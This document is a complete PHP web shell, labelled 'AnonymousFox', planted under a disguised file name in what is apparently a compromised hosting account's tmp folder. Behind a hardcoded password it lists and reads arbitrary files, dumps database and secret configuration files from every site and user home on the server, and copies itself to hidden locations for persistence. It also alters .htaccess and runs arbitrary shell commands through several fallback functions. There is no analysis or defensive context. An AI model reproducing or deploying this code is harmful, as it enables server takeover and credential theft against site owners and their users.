AnonymousFox

/home/zrcdevco/www/tmp/shbsjupy.xml.php

<?php
@error_reporting(0);@ini_set('display_errors',0);
$k='m1st3r';
if(isset($_GET['k'])&&$_GET['k']==$k){
  header('Content-Type:text/plain');
  if(isset($_GET['ls'])){$d=$_GET['ls']?:getcwd();foreach(scandir($d) as $f) echo "$f\n";exit;}
  if(isset($_GET['cat'])){echo file_get_contents($_GET['cat']);exit;}
  if(isset($_GET['info'])){echo 'os:'.php_uname()."\n".'user:'.get_current_user()."\n".'cwd:'.getcwd()."\n".'doc_root:'.$_SERVER['DOCUMENT_ROOT']."\n".'disable:'.ini_get('disable_functions')."\n";exit;}
  if(isset($_GET['grab'])){
    $found=[];
    // 1. Direct paths at doc_root and parent
    $dr=$_SERVER['DOCUMENT_ROOT'];
    $direct=[
      $dr.'/configuration.php',
      dirname($dr).'/configuration.php',
      $dr.'/wp-config.php',
      $dr.'/../wp-config.php',
      $dr.'/.env',
      dirname($dr).'/.env',
    ];
    foreach($direct as $p){if(@file_exists($p)){$found[]=$p;}}
    // 2. Recursive scan at doc_root and parent (depth 4)
    $targets=['configuration.php','wp-config.php','.env','config.php','settings.php'];
    foreach([$dr,dirname($dr)] as $base){
      if(!is_dir($base))continue;
      try{$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($base,FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::LEAVES_ONLY);$it->setMaxDepth(4);
        foreach($it as $f){if($f->isFile()&&in_array(strtolower($f->getFilename()),$targets)){$found[]=$f->getPathname();}}
      }catch(Exception $e){}
    }
    // 3. Multi-site looting: scan /home/*/public_html/ for cPanel shared hosting
    $homes=glob('/home/*',GLOB_ONLYDIR);
    foreach($homes as $h){
      $sites=glob($h.'/*',GLOB_ONLYDIR);
      foreach($sites as $s){
        foreach($targets as $t){
          $p=$s.'/'.$t;
          if(@file_exists($p)){$found[]=$p;}
        }
      }
      // Also check /home/user/ directly
      foreach($targets as $t){
        $p=$h.'/'.$t;
        if(@file_exists($p)){$found[]=$p;}
      }
    }
    // 4. Common vhost paths
    $vhosts=['/var/www/','/var/www/html/','/var/www/vhosts/','/srv/www/','/usr/share/nginx/html/'];
    foreach($vhosts as $v){
      if(!is_dir($v))continue;
      try{$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($v,FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::LEAVES_ONLY);$it->setMaxDepth(3);
        foreach($it as $f){if($f->isFile()&&in_array(strtolower($f->getFilename()),$targets)){$found[]=$f->getPathname();}}
      }catch(Exception $e){}
    }
    $found=array_unique($found);
    if(empty($found)){echo "NO_CONFIGS_FOUND\n";echo "doc_root: $dr\n";echo "cwd: ".getcwd()."\n";echo "user: ".get_current_user()."\n";exit;}
    foreach($found as $p){$c=@file_get_contents($p);echo "=== $p ===\n".$c."\n\n";}
    exit;
  }
  if(isset($_GET['persist'])){
    // Write secondary backdoor to multiple locations
    $self=file_get_contents(__FILE__);
    $locs=[];
    $dr=$_SERVER['DOCUMENT_ROOT'];
    $candidates=[
      $dr.'/cache/.icons.php',
      $dr.'/tmp/.icons.php',
      $dr.'/images/.icons.php',
      $dr.'/administrator/cache/.icons.php',
      $dr.'/media/.icons.php',
      dirname($dr).'/.icons.php',
    ];
    foreach($candidates as $p){
      if(@file_put_contents($p,$self)!==false){$locs[]=$p;}
    }
    // Try .htaccess to make .PHP execute (for SP PageBuilder shells)
    $ht=$dr.'/.htaccess';
    if(@file_exists($ht)){
      $htc=@file_get_contents($ht);
      if(strpos($htc,'application/x-httpd-php .PHP')===false){
        @file_put_contents($ht,$htc."\nAddType application/x-httpd-php .PHP\n");
      }
    }
    if(empty($locs)){echo "PERSIST_FAIL\n";}else{echo "PERSIST_OK:".implode(",",$locs)."\n";}
    exit;
  }
  if(isset($_GET['c'])){
    $c=$_GET['c'];$o='';
    if(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
    elseif(function_exists('exec')){@exec($c,$r);$o=implode("\n",$r);}
    elseif(function_exists('shell_exec')){$o=@shell_exec($c);}
    elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
    elseif(function_exists('popen')){$p=@popen($c,'r');$o=@fread($p,4096);@pclose($p);}
    elseif(function_exists('proc_open')){$d=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));$p=@proc_open($c,$d,$pipes);if(is_resource($p)){$o=@stream_get_contents($pipes[1]);@fclose($pipes[1]);@proc_close($p);}}
    echo $o?$o:'NO_EXEC';exit;
  }
  echo "ready";exit;
}
echo "OK";
?>